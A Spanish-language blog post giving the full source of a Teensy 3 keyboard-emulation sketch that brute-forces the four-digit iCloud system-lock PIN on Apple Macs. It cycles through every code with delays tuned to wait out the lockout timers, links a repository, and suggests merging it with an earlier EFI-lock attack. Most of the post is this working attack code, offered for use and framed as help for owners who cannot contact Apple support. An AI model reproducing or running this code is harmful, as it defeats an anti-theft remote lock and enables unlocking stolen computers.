Recientemente escribí sobre como llevar a cabo un ataque de fuerza
bruta contra el bloqueo del EFI de una Mac y aunque al principio no
logre lo que quería fue solo cuestión de horas para que alguien revisara
mi código y se diera cuenta del bug que lo afectaba. Hoy en día el
código funcional al 100% y ya se han desbloqueado varias Mac usando este
procedimiento.
Cuando una computadora Apple es bloqueada remotamente desde un
dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del
iCloud. El bloqueo es tanto a nivel de OS como de EFI (su BIOS). El
articulo que comentaba anterior mente se enfoca en el bloqueo del EFI
mientras que este se enfocara en el del OS también conocido como PIN de
iCloud.
Tras un poco de ensayo y error y con ayuda de la comunidad de
MacRumors logre modificar el Sketch de la Teensy 3 para que pudiese
atacar PIN del iCloud, aquí les dejo el código:
#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.
const int ledPin = 13;
int counter = 0;
//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT);
delay(10000);
digitalWrite(ledPin, LOW);
}
void loop(){
keyboard_modifier_keys = 0;
//lets wait 1minute and 1 second
if (firstloop >= 5){
delay(61000);
firstcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((firstloop < 5) && (firstcompleted == false)){
digitalWrite(ledPin, HIGH);
++firstloop;
digitalWrite(ledPin, LOW);
}
//lets wait 5 minutes and one second
if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
delay(301000);
secondloop = 0;
secondcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
++secondloop;
digitalWrite(ledPin, LOW);
}
//lets wait 15 minutes and 1 second
if ((thirdloop >= 1) && (secondcompleted == true)){
delay(901000);
thirdloop = 0;
secondcompleted = false;
firstcompleted = false;
firstloop = 0;
secondloop = 0;
thirdloop = 0;
digitalWrite(ledPin, LOW);
}
else if ((thirdloop < 1) && (secondcompleted == true)){
++thirdloop;
digitalWrite(ledPin, LOW);
}
//lets get to work
if (counter <= 9999){
delay(100503);
digitalWrite(ledPin, LOW);
delay(7049);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_ENTER);
delay(405);
Keyboard.release(KEY_ENTER);
digitalWrite(ledPin, LOW);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}
La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.
Siéntanse libres de clonarlo, hacer forks y contribuir.
Un miembro de la comunidad de MacRumors hizo una versión mas simple y
elegante de este que lo pueden ver aquí: How to: Unlock System Lock PIN
Code.
Supongo que con un botón y poca modificación del código se podrían tener
las dos lógicas dentro de un Teensy para atacar ambos bloqueos sin
necesidad de programarlo.